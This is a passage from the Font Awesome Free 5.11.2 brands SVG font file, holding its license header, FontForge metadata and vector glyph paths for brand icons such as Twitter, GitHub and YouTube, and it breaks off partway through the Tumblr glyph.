   webfonts/fa-brands-400.svgnu [        <?xml version="1.0" standalone="no"?>
<!--
Font Awesome Free 5.11.2 by @fontawesome - https://fontawesome.com
License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
-->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<metadata>
Created by FontForge 20190801 at Mon Sep 23 12:53:49 2019
 By Robert Madole
Copyright (c) Font Awesome
</metadata>
<defs>
<font id="FontAwesome5Brands-Regular" horiz-adv-x="448" >
  <font-face 
    font-family="Font Awesome 5 Brands Regular"
    font-weight="400"
    font-stretch="normal"
    units-per-em="512"
    panose-1="2 0 5 3 0 0 0 0 0 0"
    ascent="448"
    descent="-64"
    bbox="-0.200195 -66.9505 641.5 448.3"
    underline-thickness="25"
    underline-position="-50"
    unicode-range="U+0020-F8E8"
  />
    <missing-glyph />
    <glyph glyph-name="twitter-square" unicode="&#xf081;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM351.1 257.2c12.8008 9.2998 24 20.8994 32.9004 34c-11.7998 -5.10059 -24.5996 -8.7998 -37.7998 -10.2002
c13.5996 8.09961 23.8994 20.9004 28.7998 36.0996c-12.5996 -7.5 -26.7998 -13 -41.5996 -15.7998c-12 12.7998 -29 20.7002 -47.9004 20.7002c-40 0 -73.2998 -36.0996 -64 -80.5996c-54.4004 2.7998 -102.9 28.7998 -135.2 68.5996
c-5.7002 -9.7002 -8.89941 -20.9004 -8.89941 -33.0996v-0.107422c0 -19.3584 13.0811 -43.7715 29.1992 -54.4932c-10.6992 0.400391 -20.8994 3.40039 -29.5996 8.2998v-0.799805c0 -31.8994 22.5 -58.2998 52.5 -64.3994
c-10.4004 -2.7002 -19.5 -2.7002 -29.5996 -1.2002c8.2998 -26 32.5 -44.9004 61.2998 -45.5c-22.5 -17.6006 -50.7002 -28 -81.4004 -28c-5.39941 0 -10.5 0.200195 -15.7998 0.799805c29 -18.5996 63.5 -29.4004 100.7 -29.4004c120.6 0 186.6 99.9004 186.6 186.601
c0 2.7998 0 5.7002 -0.200195 8.5z" />
    <glyph glyph-name="facebook-square" unicode="&#xf082;" 
d="M400 416c26.4961 0 48 -21.5039 48 -48v-352c0 -26.4961 -21.5039 -48 -48 -48h-137.25v152.31h57.7803l11 71.6904h-68.7803v46.5498c0 19.6104 9.61035 38.7305 40.4199 38.7305h31.2705v61s-28.3809 4.83984 -55.5205 4.83984
c-56.6699 0 -93.6699 -34.3301 -93.6699 -96.4805v-54.6396h-63v-71.6904h63v-152.31h-137.25c-26.4961 0 -48 21.5039 -48 48v352c0 26.4961 21.5039 48 48 48h352z" />
    <glyph glyph-name="linkedin" unicode="&#xf08c;" 
d="M416 416c17.5996 0 32 -14.5 32 -32.2998v-383.4c0 -17.7998 -14.4004 -32.2998 -32 -32.2998h-384.1c-17.6006 0 -31.9004 14.5 -31.9004 32.2998v383.4c0 17.7998 14.2998 32.2998 31.9004 32.2998h384.1zM135.4 32h0.0996094v213.8h-66.5v-213.8h66.4004zM102.2 275
c21.2998 0 38.5 17.2002 38.5 38.5c0 21.2002 -17.2998 38.5 -38.5 38.5c-21.2998 0 -38.5 -17.2998 -38.5 -38.5s17.2002 -38.5 38.5 -38.5zM384.3 32v117.2c0 57.5996 -12.5 101.899 -79.7002 101.899c-32.2998 0 -54 -17.6992 -62.8994 -34.5h-0.900391v29.2002h-63.7002
v-213.8h66.4004v105.8c0 27.9004 5.2998 54.9004 39.9004 54.9004c34 0 34.5 -31.9004 34.5 -56.7002v-104h66.3994z" />
    <glyph glyph-name="github-square" unicode="&#xf092;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM277.3 32.2998c66 22 110.8 84.9004 110.7 158.3c0 91.8008 -74.4004 161.5 -166.2 161.5s-162 -69.6992 -162 -161.5
c0 -73.3994 46.2002 -136.199 112.2 -158.3c8.5 -1.5 11.5 3.7002 11.5 8c0 4.10059 -0.200195 26.7002 -0.200195 40.6006c0 0 -46.3994 -10 -56.0996 19.6992c0 0 -7.60059 19.2002 -18.4004 24.2002c0 0 -15.0996 10.4004 1.10059 10.2002
c0 0 16.3994 -1.2998 25.5 -17.0996c14.5 -25.6006 38.7998 -18.2002 48.2998 -13.9004c1.5 10.5996 5.7998 18 10.5996 22.2998c-37 4.10059 -74.2998 9.5 -74.2998 73.1006c0 18.1992 5 27.2998 15.5996 39c-1.7998 4.39941 -7.39941 22.0996 1.7002 45
c13.9004 4.2998 45.7002 -17.9004 45.7002 -17.9004c13.2002 3.7002 27.5 5.59961 41.5996 5.59961c14.1006 0 28.4004 -1.89941 41.6006 -5.59961c0 0 31.7998 22.2002 45.7002 17.9004c9.09961 -23 3.39941 -40.7002 1.69922 -45
c10.6006 -11.7002 17.1006 -20.8008 17.1006 -39c0 -63.9004 -39 -69 -76 -73.1006c6.09961 -5.2002 11.2998 -15.0996 11.2998 -30.7002c0 -22.2998 -0.200195 -49.8994 -0.200195 -55.2998c0 -4.2998 3.10059 -9.5 11.5 -8zM179.2 93.4004
c-1.90039 -0.400391 -3.7002 0.399414 -3.90039 1.69922c-0.200195 1.5 1.10059 2.80078 3 3.2002c1.90039 0.200195 3.7002 -0.599609 3.90039 -1.89941c0.299805 -1.30078 -1 -2.60059 -3 -3zM169.7 94.2998c0 1.5 -1.7998 2.60059 -3.7002 2.40039
c-2 0 -3.5 -1.10059 -3.5 -2.40039c0 -1.5 1.5 -2.59961 3.7002 -2.39941c2 0 3.5 1.09961 3.5 2.39941zM156 95.4004c-0.400391 -1.30078 -2.40039 -1.90039 -4.09961 -1.30078c-1.90039 0.400391 -3.2002 1.90039 -2.80078 3.2002
c0.400391 1.2998 2.40039 1.90039 4.10059 1.5c2 -0.599609 3.2998 -2.09961 2.7998 -3.39941zM143.7 100.8c0.899414 0.799805 0.399414 2.7998 -0.900391 4.10059c-1.5 1.5 -3.39941 1.69922 -4.2998 0.599609c-1 -0.900391 -0.599609 -2.7998 0.900391 -4.09961
c1.5 -1.5 3.39941 -1.7002 4.2998 -0.600586zM134.6 109.9c1.10059 0.799805 1.10059 2.59961 0 4.09961c-0.899414 1.5 -2.59961 2.2002 -3.69922 1.2998c-1.10059 -0.700195 -1.10059 -2.39941 0 -3.89941c1.09961 -1.5 2.7998 -2.10059 3.69922 -1.5zM128.1 119.6
c0.900391 0.700195 0.700195 2.2002 -0.399414 3.5c-1.10059 1 -2.60059 1.5 -3.5 0.600586c-0.900391 -0.700195 -0.700195 -2.2002 0.399414 -3.5c1.10059 -1 2.60059 -1.5 3.5 -0.600586zM121.4 127c0.399414 0.799805 -0.200195 1.90039 -1.5 2.59961
c-1.30078 0.5 -2.40039 0.200195 -2.80078 -0.399414c-0.399414 -0.900391 0.200195 -2 1.5 -2.60059c1.10059 -0.699219 2.40039 -0.5 2.80078 0.400391z" />
    <glyph glyph-name="twitter" unicode="&#xf099;" horiz-adv-x="512" 
d="M459.37 296.284c0.325195 -4.54785 0.325195 -9.09766 0.325195 -13.6455c0 -138.72 -105.583 -298.558 -298.559 -298.558c-59.4521 0 -114.68 17.2188 -161.137 47.1055c8.44727 -0.973633 16.5684 -1.29883 25.3398 -1.29883
c49.0547 0 94.2129 16.5684 130.274 44.832c-46.1318 0.975586 -84.792 31.1885 -98.1123 72.7725c6.49805 -0.974609 12.9951 -1.62402 19.8184 -1.62402c9.4209 0 18.8428 1.2998 27.6133 3.57324c-48.0811 9.74707 -84.1426 51.9795 -84.1426 102.984v1.29883
c13.9688 -7.79688 30.2139 -12.6699 47.4307 -13.3184c-28.2637 18.8428 -46.7803 51.0049 -46.7803 87.3906c0 19.4922 5.19629 37.3604 14.2939 52.9541c51.6543 -63.6748 129.3 -105.258 216.364 -109.807c-1.62402 7.79688 -2.59863 15.918 -2.59863 24.04
c0 57.8271 46.7822 104.934 104.934 104.934c30.2139 0 57.502 -12.6699 76.6709 -33.1367c23.7148 4.54785 46.4551 13.3193 66.5986 25.3398c-7.79785 -24.3662 -24.3662 -44.833 -46.1318 -57.8271c21.1172 2.27344 41.584 8.12207 60.4258 16.2432
c-14.292 -20.791 -32.1611 -39.3086 -52.6279 -54.2529z" />
    <glyph glyph-name="facebook" unicode="&#xf09a;" horiz-adv-x="512" 
d="M504 192c0 -123.78 -90.6904 -226.38 -209.25 -245v173.31h57.7803l11 71.6904h-68.7803v46.5498c0 19.6104 9.61035 38.7305 40.4102 38.7305h31.2803v61s-28.3809 4.83984 -55.5205 4.83984c-56.6699 0 -93.6699 -34.3301 -93.6699 -96.4805v-54.6396h-63v-71.6904h63
v-173.31c-118.56 18.6201 -209.25 121.22 -209.25 245c0 137 111 248 248 248s248 -111 248 -248z" />
    <glyph glyph-name="github" unicode="&#xf09b;" horiz-adv-x="496" 
d="M165.9 50.5996c0 -2 -2.30078 -3.59961 -5.2002 -3.59961c-3.2998 -0.299805 -5.60059 1.2998 -5.60059 3.59961c0 2 2.30078 3.60059 5.2002 3.60059c3 0.299805 5.60059 -1.2998 5.60059 -3.60059zM134.8 55.0996c0.700195 2 3.60059 3 6.2002 2.30078
c3 -0.900391 4.90039 -3.2002 4.2998 -5.2002c-0.599609 -2 -3.59961 -3 -6.2002 -2c-3 0.599609 -5 2.89941 -4.2998 4.89941zM179 56.7998c2.90039 0.299805 5.59961 -1 5.90039 -2.89941c0.299805 -2 -1.7002 -3.90039 -4.60059 -4.60059
c-3 -0.700195 -5.59961 0.600586 -5.89941 2.60059c-0.300781 2.2998 1.69922 4.19922 4.59961 4.89941zM244.8 440c138.7 0 251.2 -105.3 251.2 -244c0 -110.9 -67.7998 -205.8 -167.8 -239c-12.7002 -2.2998 -17.2998 5.59961 -17.2998 12.0996
c0 8.2002 0.299805 49.9004 0.299805 83.6006c0 23.5 -7.7998 38.5 -17 46.3994c55.8994 6.30078 114.8 14 114.8 110.5c0 27.4004 -9.7998 41.2002 -25.7998 58.9004c2.59961 6.5 11.0996 33.2002 -2.60059 67.9004c-20.8994 6.59961 -69 -27 -69 -27
c-20 5.59961 -41.5 8.5 -62.7998 8.5s-42.7998 -2.90039 -62.7998 -8.5c0 0 -48.0996 33.5 -69 27c-13.7002 -34.6006 -5.2002 -61.4004 -2.59961 -67.9004c-16 -17.5996 -23.6006 -31.4004 -23.6006 -58.9004c0 -96.1992 56.4004 -104.3 112.3 -110.5
c-7.19922 -6.59961 -13.6992 -17.6992 -16 -33.6992c-14.2998 -6.60059 -51 -17.7002 -72.8994 20.8994c-13.7002 23.7998 -38.6006 25.7998 -38.6006 25.7998c-24.5 0.300781 -1.59961 -15.3994 -1.59961 -15.3994c16.4004 -7.5 27.7998 -36.6006 27.7998 -36.6006
c14.7002 -44.7998 84.7002 -29.7998 84.7002 -29.7998c0 -21 0.299805 -55.2002 0.299805 -61.3994c0 -6.5 -4.5 -14.4004 -17.2998 -12.1006c-99.7002 33.4004 -169.5 128.3 -169.5 239.2c0 138.7 106.1 244 244.8 244zM97.2002 95.0996
c1.2998 1.30078 3.59961 0.600586 5.2002 -1c1.69922 -1.89941 2 -4.19922 0.699219 -5.19922c-1.2998 -1.30078 -3.59961 -0.600586 -5.19922 1c-1.7002 1.89941 -2 4.19922 -0.700195 5.19922zM86.4004 103.2c0.699219 1 2.2998 1.2998 4.2998 0.700195
c2 -1 3 -2.60059 2.2998 -3.90039c-0.700195 -1.40039 -2.7002 -1.7002 -4.2998 -0.700195c-2 1 -3 2.60059 -2.2998 3.90039zM118.8 67.5996c1.2998 1.60059 4.2998 1.30078 6.5 -1c2 -1.89941 2.60059 -4.89941 1.2998 -6.19922
c-1.2998 -1.60059 -4.19922 -1.30078 -6.5 1c-2.2998 1.89941 -2.89941 4.89941 -1.2998 6.19922zM107.4 82.2998c1.59961 1.2998 4.19922 0.299805 5.59961 -2c1.59961 -2.2998 1.59961 -4.89941 0 -6.2002c-1.2998 -1 -4 0 -5.59961 2.30078
c-1.60059 2.2998 -1.60059 4.89941 0 5.89941z" />
    <glyph glyph-name="pinterest" unicode="&#xf0d2;" horiz-adv-x="496" 
d="M496 192c0 -137 -111 -248 -248 -248c-25.5996 0 -50.2002 3.90039 -73.4004 11.0996c10.1006 16.5 25.2002 43.5 30.8008 65c3 11.6006 15.3994 59 15.3994 59c8.10059 -15.3994 31.7002 -28.5 56.7998 -28.5c74.8008 0 128.7 68.8008 128.7 154.301
c0 81.8994 -66.8994 143.199 -152.899 143.199c-107 0 -163.9 -71.7998 -163.9 -150.1c0 -36.4004 19.4004 -81.7002 50.2998 -96.0996c4.7002 -2.2002 7.2002 -1.2002 8.2998 3.2998c0.800781 3.39941 5 20.2998 6.90039 28.0996
c0.599609 2.5 0.299805 4.7002 -1.7002 7.10059c-10.0996 12.5 -18.2998 35.2998 -18.2998 56.5996c0 54.7002 41.4004 107.6 112 107.6c60.9004 0 103.6 -41.5 103.6 -100.899c0 -67.1006 -33.8994 -113.601 -78 -113.601c-24.2998 0 -42.5996 20.1006 -36.6992 44.8008
c7 29.5 20.5 61.2998 20.5 82.5996c0 19 -10.2002 34.9004 -31.4004 34.9004c-24.9004 0 -44.9004 -25.7002 -44.9004 -60.2002c0 -22 7.40039 -36.7998 7.40039 -36.7998s-24.5 -103.801 -29 -123.2c-5 -21.4004 -3 -51.6006 -0.900391 -71.2002
c-92.1992 36.0996 -157.6 125.9 -157.6 231c0 137 111 248 248 248s248 -111 248 -248z" />
    <glyph glyph-name="pinterest-square" unicode="&#xf0d3;" 
d="M448 368v-352c0 -26.5 -21.5 -48 -48 -48h-245.6c9.7998 16.4004 22.3994 40 27.3994 59.2998c3 11.5 15.2998 58.4004 15.2998 58.4004c8 -15.2998 31.4004 -28.2002 56.3008 -28.2002c74.0996 0 127.399 68.0996 127.399 152.7
c0 81.0996 -66.2002 141.8 -151.399 141.8c-106 0 -162.2 -71.0996 -162.2 -148.6c0 -36 19.2002 -80.8008 49.7998 -95.1006c4.7002 -2.2002 7.09961 -1.2002 8.2002 3.2998c0.799805 3.40039 5 20.1006 6.7998 27.8008c0.599609 2.5 0.299805 4.59961 -1.7002 7
c-10.0996 12.2998 -18.2998 34.8994 -18.2998 56c0 54.1992 41 106.6 110.9 106.6c60.2998 0 102.6 -41.0996 102.6 -99.9004c0 -66.3994 -33.5 -112.399 -77.2002 -112.399c-24.0996 0 -42.0996 19.8994 -36.3994 44.3994c6.89941 29.2002 20.2998 60.7002 20.2998 81.8008
c0 53 -75.5 45.6992 -75.5 -25c0 -21.7002 7.2998 -36.5 7.2998 -36.5c-31.4004 -132.801 -36.0996 -134.5 -29.5996 -192.601l2.19922 -0.799805h-88.5996c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48z" />
    <glyph glyph-name="google-plus-square" unicode="&#xf0d4;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM164 92c57.7002 0 96 40.5 96 97.5996c0 6.5 -0.599609 11.6006 -1.59961 16.6006h-94.4004v-34.4004h56.9004
c-2.40039 -14.5996 -17.2002 -43.0996 -56.8008 -43.0996c-34.0996 0 -61.8994 28.2998 -61.8994 63.2002c0 35 27.7998 63.1992 61.8994 63.1992c19.5 0 32.4004 -8.2998 39.8008 -15.3994l27.0996 26.0996c-17.5 16.4004 -40 26.2002 -67 26.2002
c-55.2998 0 -100 -44.7002 -100 -100s44.7002 -100 100 -100zM384 173.8v29.2002h-29v29h-29.2002v-29h-29v-29.2002h29v-29h29.2002v29h29z" />
    <glyph glyph-name="google-plus-g" unicode="&#xf0d5;" horiz-adv-x="640" 
d="M386.061 219.504c1.83398 -9.69238 3.14355 -19.3838 3.14355 -31.9561c0 -109.753 -73.6055 -187.548 -184.404 -187.548c-106.084 0 -192 85.915 -192 192s85.916 192 192 192c51.8643 0 95.083 -18.8594 128.611 -50.292l-52.126 -50.0303
c-14.1455 13.6211 -39.0283 29.5996 -76.4854 29.5996c-65.4834 0 -118.92 -54.2217 -118.92 -121.277s53.4365 -121.277 118.92 -121.277c75.9609 0 104.514 54.7451 108.965 82.7734h-108.965v66.0088h181.261v-0.000976562zM571.467 213.067h55.7334v-56.001h-55.7334
v-55.7334h-56.001v55.7334h-55.7324v56.001h55.7324v55.7324h56.001v-55.7324z" />
    <glyph glyph-name="linkedin-in" unicode="&#xf0e1;" 
d="M100.28 0h-92.8799v299.1h92.8799v-299.1zM53.79 339.9c-29.7002 0 -53.79 24.5996 -53.79 54.2998c0 29.6914 24.0977 53.79 53.79 53.79s53.79 -24.0986 53.79 -53.79c0 -29.7002 -24.0996 -54.2998 -53.79 -54.2998zM447.9 0h-92.6807v145.6
c0 34.7002 -0.700195 79.2002 -48.29 79.2002c-48.29 0 -55.6895 -37.7002 -55.6895 -76.7002v-148.1h-92.7803v299.1h89.0801v-40.7998h1.2998c12.4004 23.5 42.6904 48.2998 87.8799 48.2998c94 0 111.28 -61.8994 111.28 -142.3v-164.3h-0.0996094z" />
    <glyph glyph-name="github-alt" unicode="&#xf113;" horiz-adv-x="480" 
d="M186.1 119.3c0 -20.8994 -10.8994 -55.0996 -36.6992 -55.0996c-25.8008 0 -36.7002 34.2002 -36.7002 55.0996c0 20.9004 10.8994 55.1006 36.7002 55.1006c25.7998 0 36.6992 -34.2002 36.6992 -55.1006zM480 169.8c0 -31.8994 -3.2002 -65.7002 -17.5 -95
c-37.9004 -76.5996 -142.1 -74.7998 -216.7 -74.7998c-75.7998 0 -186.2 -2.7002 -225.6 74.7998c-14.6006 29 -20.2002 63.1006 -20.2002 95c0 41.9004 13.9004 81.5 41.5 113.601c-5.2002 15.7998 -7.7002 32.3994 -7.7002 48.7998
c0 21.5 4.90039 32.2998 14.6006 51.7998c45.2998 0 74.2998 -9 108.8 -36c29 6.90039 58.7998 10 88.7002 10c27 0 54.1992 -2.90039 80.3994 -9.2002c34 26.7002 63 35.2002 107.8 35.2002c9.80078 -19.5 14.6006 -30.2998 14.6006 -51.7998
c0 -16.4004 -2.60059 -32.7002 -7.7002 -48.2002c27.5 -32.4004 39 -72.2998 39 -114.2zM415.7 119.3c0 43.9004 -26.7002 82.6006 -73.5 82.6006c-18.9004 0 -37 -3.40039 -56 -6c-14.9004 -2.30078 -29.7998 -3.2002 -45.1006 -3.2002
c-15.1992 0 -30.0996 0.899414 -45.0996 3.2002c-18.7002 2.59961 -37 6 -56 6c-46.7998 0 -73.5 -38.7002 -73.5 -82.6006c0 -87.7998 80.4004 -101.3 150.4 -101.3h48.1992c70.3008 0 150.601 13.4004 150.601 101.3zM333.1 174.4
c25.8008 0 36.7002 -34.2002 36.7002 -55.1006c0 -20.8994 -10.8994 -55.0996 -36.7002 -55.0996c-25.7998 0 -36.6992 34.2002 -36.6992 55.0996c0 20.9004 10.8994 55.1006 36.6992 55.1006z" />
    <glyph glyph-name="maxcdn" unicode="&#xf136;" horiz-adv-x="512" 
d="M461.1 5.2998h-97.3994l51.8994 242.7c2.30078 10.2002 0.900391 19.5 -4.39941 25.7002c-5 6.09961 -13.7002 9.59961 -24.2002 9.59961h-49.2998l-59.5 -278h-97.4004l59.5 278h-83.3994l-59.5 -278h-97.4004l59.5 278l-44.5996 95.4004h372.1
c39.4004 0 75.2998 -16.2998 98.2998 -44.9004c23.2998 -28.5996 31.7998 -67.3994 23.6006 -105.899z" />
    <glyph glyph-name="html5" unicode="&#xf13b;" horiz-adv-x="384" 
d="M0 416h384l-34.9004 -395.8l-157.6 -52.2002l-156.6 52.2002zM308.2 288.1l4.39941 47.7002h-241.1l12.7998 -145.6h166.9l-6 -62.2002l-53.7002 -14.5l-53.5 14.5l-3.5 38.0996h-47.7002l6 -75.7998l98.7002 -27.2998h1.09961v0.299805l97.9004 27l13.5996 148.4h-175.6
l-4.09961 49.3994h183.8z" />
    <glyph glyph-name="css3" unicode="&#xf13c;" horiz-adv-x="512" 
d="M480 416l-64 -368l-223.3 -80l-192.7 80l19.5996 94.7998h82l-8 -40.5996l116.4 -44.4004l134.1 44.4004l18.8008 97.0996h-333.4l16 82h333.7l10.5 52.7002h-333.4l16.2998 82h407.4z" />
    <glyph glyph-name="btc" unicode="&#xf15a;" horiz-adv-x="384" 
d="M310.204 205.362c46.0059 -11.0283 74.9971 -38.4443 69.3262 -99.8906c-7.24805 -76.5723 -61.5967 -97.0547 -142.896 -101.467v-68.0049h-48.5273v66.7451c-12.29 0 -25.21 0 -38.4443 0.314453v-67.0596h-48.5283v68.0049s-8.88867 0.31543 -97.3701 0.31543
l9.76758 57.666c34.7305 -0.614258 50.3301 -3.4209 53.2549 16.0703v217.43c-4.60645 24.5664 -24.709 22.1045 -63.0234 21.4268v51.6777c58.748 -0.275391 79.5283 -0.539062 97.3701 0v79.4092h48.5283v-77.833c12.9189 0.31543 25.8389 0.629883 38.4443 0.629883
v77.2031h48.5273v-79.4092c62.3926 -5.35547 109.492 -24.5781 114.851 -81.9287c4.09668 -41.9102 -13.5508 -67.1201 -41.2803 -81.2998zM150.608 313.447v-96.7402c27.416 0 113.126 -6.30273 113.126 48.2119c0 57.0352 -85.7109 48.5283 -113.126 48.5283z
M150.608 61.6709c32.7715 0 133.126 -6.93262 133.127 53.2529c0 62.3936 -100.355 53.2549 -133.127 53.2549v-106.508z" />
    <glyph glyph-name="youtube" unicode="&#xf167;" horiz-adv-x="576" 
d="M549.655 323.917c11.4121 -42.8672 11.4121 -132.305 11.4121 -132.305s0 -89.4385 -11.4121 -132.306c-6.28125 -23.6494 -24.7871 -41.5 -48.2842 -47.8203c-42.5908 -11.4863 -213.371 -11.4863 -213.371 -11.4863s-170.78 0 -213.371 11.4863
c-23.4971 6.32031 -42.0029 24.1709 -48.2842 47.8203c-11.4121 42.8672 -11.4121 132.306 -11.4121 132.306s0 89.4375 11.4121 132.305c6.28125 23.6504 24.7871 42.2754 48.2842 48.5967c42.5908 11.4863 213.371 11.4863 213.371 11.4863s170.781 0 213.371 -11.4863
c23.4971 -6.32031 42.0029 -24.9463 48.2842 -48.5967zM232.145 110.409l142.739 81.2012l-142.739 81.2051v-162.406z" />
    <glyph glyph-name="xing" unicode="&#xf168;" horiz-adv-x="384" 
d="M162.7 238c-1.7998 -3.2998 -25.2002 -44.4004 -70.1006 -123.5c-4.89941 -8.2998 -10.7998 -12.5 -17.6992 -12.5h-65.1006c-7.7002 0 -12.0996 7.5 -8.5 14.4004l69 121.3c0.200195 0 0.200195 0.0996094 0 0.299805l-43.8994 75.5996
c-4.30078 7.80078 0.299805 14.1006 8.5 14.1006h65.0996c7.2998 0 13.2998 -4.10059 18 -12.2002zM382.6 401.9l-144 -253v-0.300781l91.6006 -166.6c3.89941 -7.09961 0.200195 -14.0996 -8.5 -14.0996h-65.2002c-7.59961 0 -13.5996 4 -18 12.1992l-92.4004 168.5
c3.30078 5.80078 51.5 90.8008 144.801 255.2c4.59961 8.10059 10.3994 12.2002 17.5 12.2002h65.6992c8 0 12.3008 -6.7002 8.5 -14.0996z" />
    <glyph glyph-name="xing-square" unicode="&#xf169;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM140.4 127.8c4.89941 0 9.09961 2.90039 12.5996 9.10059c32.0996 56.5 48.7998 85.8994 50.0996 88.1992l-31.8994 55.3008
c-3.40039 5.7998 -7.7002 8.69922 -12.9004 8.69922h-46.5996c-5.7998 0 -9 -4.5 -6 -10.0996l31.3994 -54c0.100586 -0.0996094 0.100586 -0.200195 0 -0.200195l-49.2998 -86.7002c-2.7002 -5 0.5 -10.2998 6 -10.2998h46.6006zM360.1 341.9
c2.80078 5.2998 -0.299805 10.0996 -6 10h-46.8994c-5.10059 0 -9.2002 -2.90039 -12.5 -8.7002c-66.6006 -117.4 -101.101 -178.2 -103.4 -182.3l66 -120.301c3.2002 -5.7998 7.40039 -8.69922 12.9004 -8.69922h46.5996c6.10059 0 8.7998 5 6 10.0996l-65.5 119v0.200195z
" />
    <glyph glyph-name="dropbox" unicode="&#xf16b;" horiz-adv-x="528" 
d="M264.4 331.7l-132 -84.2998l132 -84.3008l-132 -84.2998l-132.4 85.1006l132.3 84.2998l-132.3 83.5l132.3 84.2998zM131.6 52.2998l132 84.2998l132 -84.2998l-132 -84.2998zM264.4 163.9l132 84.2998l-132 83.5996l131.3 84.2002l132.3 -84.2998l-132.3 -84.2998
l132.3 -84.2002l-132.3 -84.2998z" />
    <glyph glyph-name="stack-overflow" unicode="&#xf16c;" horiz-adv-x="384" 
d="M290.7 137l-8.2002 -39l-195.7 41l8.2002 39.2998zM341.7 224l-25.5 -30.7998l-153.5 128.3l25.5 30.7998zM310.5 184.3l-16.7998 -36.2998l-181.2 84.5l16.7002 36.5zM262 416l119.3 -160.3l-32 -24l-119.3 160.3zM282.5 88v-39.7002h-200v39.7002h200zM322.2 8v120h40
v-160h-359.5v160h40v-120h279.5z" />
    <glyph glyph-name="instagram" unicode="&#xf16d;" 
d="M224.1 307c63.6006 0 114.9 -51.2998 114.9 -114.9c0 -63.5996 -51.2998 -114.899 -114.9 -114.899c-63.5996 0 -114.899 51.2998 -114.899 114.899c0 63.6006 51.2998 114.9 114.899 114.9zM224.1 117.4c41.1006 0 74.7002 33.5 74.7002 74.6992
c0 41.2002 -33.5 74.7002 -74.7002 74.7002c-41.1992 0 -74.6992 -33.5 -74.6992 -74.7002c0 -41.1992 33.5996 -74.6992 74.6992 -74.6992zM370.5 311.7c0 -14.9004 -12 -26.7998 -26.7998 -26.7998c-14.9004 0 -26.7998 12 -26.7998 26.7998s12 26.7998 26.7998 26.7998
s26.7998 -12 26.7998 -26.7998zM446.6 284.5c2.10059 -37 2.10059 -147.8 0 -184.8c-1.7998 -35.9004 -10 -67.7002 -36.1992 -93.9004c-26.2002 -26.2998 -58 -34.5 -93.9004 -36.2002c-37 -2.09961 -147.9 -2.09961 -184.9 0
c-35.8994 1.80078 -67.5996 10 -93.8994 36.2002s-34.5 58 -36.2002 93.9004c-2.09961 37 -2.09961 147.899 0 184.899c1.7998 35.9004 9.90039 67.7002 36.2002 93.9004s58.0996 34.4004 93.8994 36.0996c37 2.10059 147.9 2.10059 184.9 0
c35.9004 -1.7998 67.7002 -10 93.9004 -36.1992c26.2998 -26.2002 34.5 -58 36.1992 -93.9004zM398.8 60c11.7002 29.4004 9 99.5 9 132.1c0 32.6006 2.7002 102.601 -9 132.101c-7.89941 19.7002 -23 34.7998 -42.5996 42.5996c-29.4004 11.6006 -99.5 9 -132.101 9
c-32.5996 0 -102.6 2.7002 -132.1 -9c-19.7002 -7.89941 -34.7998 -23 -42.5996 -42.5996c-11.6006 -29.4004 -9 -99.5 -9 -132.101c0 -32.5996 -2.7002 -102.6 9 -132.1c7.89941 -19.7002 23 -34.7998 42.5996 -42.5996c29.4004 -11.6006 99.5 -9 132.1 -9
c32.6006 0 102.601 -2.7002 132.101 9c19.7002 7.89941 34.7998 23 42.5996 42.5996z" />
    <glyph glyph-name="flickr" unicode="&#xf16e;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM144.5 129c35.0996 0 63.5 28.4004 63.5 63.5s-28.4004 63.5 -63.5 63.5s-63.5 -28.4004 -63.5 -63.5s28.4004 -63.5 63.5 -63.5z
M303.5 129c35.0996 0 63.5 28.4004 63.5 63.5s-28.4004 63.5 -63.5 63.5s-63.5 -28.4004 -63.5 -63.5s28.4004 -63.5 63.5 -63.5z" />
    <glyph glyph-name="adn" unicode="&#xf170;" horiz-adv-x="496" 
d="M248 280.5l64.9004 -98.7998h-129.801zM496 192c0 -136.9 -111.1 -248 -248 -248s-248 111.1 -248 248s111.1 248 248 248s248 -111.1 248 -248zM396.2 109.3l-148.2 223.2l-148.2 -223.2h30.4004l33.5996 51.7002h168.601l33.5996 -51.7002h30.2002z" />
    <glyph glyph-name="bitbucket" unicode="&#xf171;" horiz-adv-x="512" 
d="M22.2002 416l466.8 -0.200195c0.776367 -0.0107422 2.03027 -0.100586 2.7998 -0.200195c7.39648 -1.21875 13.3984 -8.29102 13.3984 -15.7871c0 -0.697266 -0.0888672 -1.82324 -0.198242 -2.5127l-67.9004 -416.8
c-1.2168 -7.39746 -8.29004 -13.4014 -15.7871 -13.4014c-0.0585938 0 -0.154297 0.000976562 -0.212891 0.000976562h-325.699c-10.1016 0.0820312 -19.6445 8.23535 -21.3008 18.2002l-67.8994 412.101c-0.0966797 0.769531 -0.186523 2.02344 -0.200195 2.7998
c0.108398 8.72168 7.27539 15.8008 15.999 15.8008c0.0556641 0 0.145508 0 0.201172 -0.000976562zM308.1 118.2l25.2002 147h-157.3l28.0996 -147h104z" />
    <glyph glyph-name="tumblr" unicode="&#xf173;" horiz-adv-x="320" 
d="M309.8 -32.2998c-13.5996 -14.5 -50 -31.7002 -97.3994 -31.7002c-120.801 0 -147 88.7998 -147 140.6v144h-47.5c-5.5 0 -10 4.5 -10 10v68c0 7.2002 4.5 13.6006 11.2998 16c62 21.8008 81.5 76 84.2998 117.101c0.799805 11 6.5 16.2998 16.0996 16.2998h70.9004
